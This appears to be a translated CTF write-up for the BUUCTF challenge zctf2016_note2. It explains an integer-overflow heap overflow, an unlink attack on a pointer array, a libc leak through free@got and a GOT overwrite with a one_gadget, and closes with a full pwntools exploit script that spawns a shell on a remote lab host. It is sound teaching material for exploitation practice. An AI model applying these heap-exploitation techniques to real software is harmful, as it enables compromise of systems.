[BUUCTF]PWN——zctf2016_note2(unlink)

zctf2016_note2

annex

step

  1. Routine inspection, 64-bit program, canary and nx are enabled
    Insert picture description here
  2. Try it out to see the general situation, the classic stacking menu
    Insert picture description here
  3. 64-bit ida is loaded for easy viewing of the program. I modified the function name
    New_note()
    Insert picture description here
    Insert picture description here
    Insert picture description here
    when i was unsigned_int64, but the i in the for loop was int64. We all know that in the C language, unsigned variables and signed variables When comparing, the signed variables will be converted into unsigned variables for comparison. So here when the size is 0. (unsigned int)(size-1) is a very large integer, there is an integer overflow vulnerability
    show_note()
    Insert picture description here
    edit_note(), 1 is overwrite, 2 is add
    Insert picture description here
    delete_note()
    Insert picture description here

Use ideas

  1. Since the pointer of the requested heap block is placed on the bss segment, the address of the pointer can be known, so consider using unlink. Use unlink to allocate to the ptr array storing chunks.
  2. Change the address of the chunk to the address of the got table to leak libc
  3. Use the edit function to change free@got to the address of the system function, let the program execute again, and enter the parameter "/bin/sh\x00", that is, execute system("/bin/sh") to get the shell.

Utilization process:

  1. The first is that unlink
    first designs the ideal state of the heap during unlink. Among them, chunk2 is to be freed. When performing backward merging, unlink the fake chunk P. The final result is to let ptr0 point to &ptr0-0x18 to
    Insert picture description here
    construct the heap structure shown in the figure above.
    The fake chunk in chunk0 can be completed directly when calling new note at the beginning.
    The pre_size and size fields of chunk2 require chunk1 to overflow to complete. After applying for chunk0, chunk1, and chunk2, free chunk1 and put it into fastbin, and then apply for it back. Due to the vulnerability of writing new notes of arbitrary length, chunk1 is overflowed to modify the header of chunk2, thereby bypassing unlink's check on the size of fake_chunk
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2

delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2)
  1. After leaking libc to
    complete unlink, we get a space that can be read and written at any address, which can be used to leak free@got and calculate the offset of the program
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)
gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

Insert picture description here

  1. After getting the offset, you can change free@got to one_gadget.
    At first, I thought about changing it to system, but because the content on the chunk address was not free in delete, system ('/bin/sh' could not be executed) ), I changed it to one_gadget (get libc, it is more convenient to use one_gadget under the condition of full set of registers), after the modification, you can get the shell directly

Full exp

#coding=utf-8
from pwn import *

io = remote('node3.buuoj.cn',29792)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")

#context.log_level = "debug"


def new_note(size, content):
    io.recvuntil(">>")
    io.sendline("1")
    io.recvuntil(")")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)

def show_note(index):
    io.recvuntil(">>")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(index))

def edit_note(index, choice, content):
    io.recvuntil(">>")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(index))
    io.recvuntil("]")
    io.sendline(str(choice))
    io.recvuntil(":")
    io.sendline(content)

def delete_note(index):
    io.recvuntil(">>")
    io.sendline("4")
    io.recvuntil(":")
    io.sendline(str(index))

io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")

ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10

note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)

delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)

show_note(0)
io.recvuntil("is ")

free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))

#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')

io.interactive()

Insert picture description here
This question mainly uses the knowledge of unlink. If you are not sure, you can read my previous article.
Reference wp: https://blog.csdn.net/weixin_38419913/article/details/103333195

Guess you like

Origin blog.csdn.net/mcmuyanga/article/details/113547320